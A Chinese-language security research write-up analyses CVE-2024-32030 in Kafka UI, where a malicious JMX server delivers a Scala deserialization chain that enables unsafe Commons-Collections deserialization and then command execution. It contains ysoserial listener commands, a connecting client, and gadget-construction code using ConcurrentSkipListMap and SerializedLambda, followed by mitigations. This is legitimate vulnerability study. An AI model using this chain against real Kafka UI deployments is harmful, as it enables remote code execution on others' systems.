CVE-2024-32030 Scala反序列化链分析
字数 1304 2025-08-24 16:48:07

Scala反序列化链分析:CVE-2024-32030漏洞研究

漏洞概述

CVE-2024-32030是Kafka UI中存在的一个安全漏洞,涉及Scala反序列化链的利用。Kafka UI是Apache Kafka管理的开源Web UI,其API允许用户通过指定网络地址和端口连接到不同的Kafka brokers。该漏洞特别影响Kafka UI中通过JMX端口监控Kafka brokers性能的功能。

漏洞原理

该漏洞的核心在于:

  1. Kafka UI提供了通过JMX端口监控Kafka代理性能的功能
  2. JMX基于RMI协议,容易受到反序列化攻击
  3. 系统中存在Commons-Collections-3.2.2依赖
  4. Commons-Collections-3.2.2增加了安全检查,要求系统属性"org.apache.commons.collections.enableUnsafeSerialization"为true才能反序列化

攻击者可以部署恶意JMX服务器,当Kafka UI连接时会触发反序列化,首先利用Scala链修改系统属性,然后利用CC链实现命令执行。

环境搭建

1. 设置恶意JMX监听器

git clone https://github.com/artsploit/ysoserial/
cd ysoserial && git checkout scala1
mvn package -D skipTests = true  # 确保使用Java 8编译
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"

2. 下载Kafka UI测试环境

https://codeload.github.com/provectus/kafka-ui/zip/refs/tags/v0.7.1

3. 测试代码示例

package com.provectus.kafka.ui;

import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

public class jmxdemo {
    public static void main(String[] args) throws Exception {
        System.out.println("Before:" + System.getProperty("org.apache.commons.collections.enableUnsafeSerialization"));
        String jmxUrl = "service:jmx:rmi:///jndi/rmi://192.168.85.129:1718/jmxrmi";
        JMXConnector connector = null;
        try {
            connector = JMXConnectorFactory.newJMXConnector(new JMXServiceURL(jmxUrl), null);
            connector.connect();
        } catch (Exception e) {
            e.printStackTrace();
        }
        System.out.println("After:" + System.getProperty("org.apache.commons.collections.enableUnsafeSerialization"));
    }
}

技术分析

Lambda表达式基础

Lambda表达式是Java 8引入的特性,用于创建匿名函数。示例:

BiFunction<Integer, Integer, Integer> runnable2 = (a, b) -> a * b;
int result2 = runnable2.apply(3, 4);  // 输出: 12

SerializedLambda类

SerializedLambda类用于Lambda表达式的序列化和反序列化,存储Lambda的元数据:

SerializedLambda serializedLambda = serializeLambda(runnable2);
System.out.println("Capturing class: " + serializedLambda.getCapturingClass());
System.out.println("Functional interface class: " + serializedLambda.getFunctionalInterfaceClass());
// 其他元数据...

漏洞利用链分析

完整的利用链如下:

  1. ConcurrentSkipListMap#readObject()
  2. ConcurrentSkipListMap#cpr()
  3. ConcurrentSkipListMap#compare()
  4. Iterator#next()
  5. SystemProperties#addOne()
  6. System#setProperty()
  7. Properties#setProperty()
  8. Properties#put()
  9. ConCurrentHashMap#put()
  10. ConcurrentHashMap#putVal()

关键利用代码

// 1. 初始化ConcurrentSkipListMap
ConcurrentSkipListMap map = new ConcurrentSkipListMap((o1, o2) -> 1);
map.put(view, 1);
map.put(view, 2);

// 2. 修改comparator为iterableOrdering
Field f = map.getClass().getDeclaredField("comparator");
f.setAccessible(true);
f.set(map, iterableOrdering);

// 3. 创建View.Fill实例
Class<?> clazz = Class.forName("scala.collection.View$Fill");
Constructor<?> ctor = clazz.getConstructor(int.class, scala.Function0.class);
Object view = ctor.newInstance(1, createFuncFromSerializedLambda(lambdaSetSystemProperty));

// 4. 创建SerializedLambda
Tuple2<String, String> prop = new scala.Tuple2<>("org.apache.commons.collections.enableUnsafeSerialization", "true");
SerializedLambda lambdaSetSystemProperty = new SerializedLambda(
    scala.sys.SystemProperties.class,
    "scala/Function0",
    "apply",
    "()Ljava/lang/Object;",
    MethodHandleInfo.REF_invokeStatic,
    "scala.sys.SystemProperties",
    "$anonfun$addOne$1",
    "(Lscala/Tuple2;)Ljava/lang/String;",
    "()Lscala/sys/SystemProperties;",
    new Object[]{prop}
);

反序列化过程

  1. 反序列化时首先调用ConcurrentSkipListMap#readObject()
  2. 需要map.put()执行两次,使prevkey不为null才能调用cpr()
  3. cpr()调用compare()方法,参数是iterableOrdering对象
  4. 最终调用SystemProperties#addOne()修改系统属性

属性修改过程

Function0<String> lambdaSetSystemProperty = () -> {
    SystemProperties properties = new SystemProperties();
    properties.addOne(prop);  // 修改系统属性
    return prop._2;
};

addOne()最终调用Unsafe.compareAndSetReference()方法修改系统属性值。

防御措施

  1. 升级Kafka UI到安全版本
  2. 限制JMX端口的访问
  3. 移除不必要的依赖(如Commons-Collections)
  4. 使用安全管理器限制敏感操作

参考资源

Scala反序列化链分析:CVE-2024-32030漏洞研究 漏洞概述 CVE-2024-32030是Kafka UI中存在的一个安全漏洞,涉及Scala反序列化链的利用。Kafka UI是Apache Kafka管理的开源Web UI,其API允许用户通过指定网络地址和端口连接到不同的Kafka brokers。该漏洞特别影响Kafka UI中通过JMX端口监控Kafka brokers性能的功能。 漏洞原理 该漏洞的核心在于: Kafka UI提供了通过JMX端口监控Kafka代理性能的功能 JMX基于RMI协议,容易受到反序列化攻击 系统中存在Commons-Collections-3.2.2依赖 Commons-Collections-3.2.2增加了安全检查,要求系统属性"org.apache.commons.collections.enableUnsafeSerialization"为true才能反序列化 攻击者可以部署恶意JMX服务器,当Kafka UI连接时会触发反序列化,首先利用Scala链修改系统属性,然后利用CC链实现命令执行。 环境搭建 1. 设置恶意JMX监听器 2. 下载Kafka UI测试环境 3. 测试代码示例 技术分析 Lambda表达式基础 Lambda表达式是Java 8引入的特性,用于创建匿名函数。示例: SerializedLambda类 SerializedLambda类用于Lambda表达式的序列化和反序列化,存储Lambda的元数据: 漏洞利用链分析 完整的利用链如下: ConcurrentSkipListMap#readObject() ConcurrentSkipListMap#cpr() ConcurrentSkipListMap#compare() Iterator#next() SystemProperties#addOne() System#setProperty() Properties#setProperty() Properties#put() ConCurrentHashMap#put() ConcurrentHashMap#putVal() 关键利用代码 反序列化过程 反序列化时首先调用 ConcurrentSkipListMap#readObject() 需要 map.put() 执行两次,使 prevkey 不为null才能调用 cpr() cpr() 调用 compare() 方法,参数是 iterableOrdering 对象 最终调用 SystemProperties#addOne() 修改系统属性 属性修改过程 addOne() 最终调用 Unsafe.compareAndSetReference() 方法修改系统属性值。 防御措施 升级Kafka UI到安全版本 限制JMX端口的访问 移除不必要的依赖(如Commons-Collections) 使用安全管理器限制敏感操作 参考资源 GitHub Security Advisory ysoserial工具 Kafka UI源码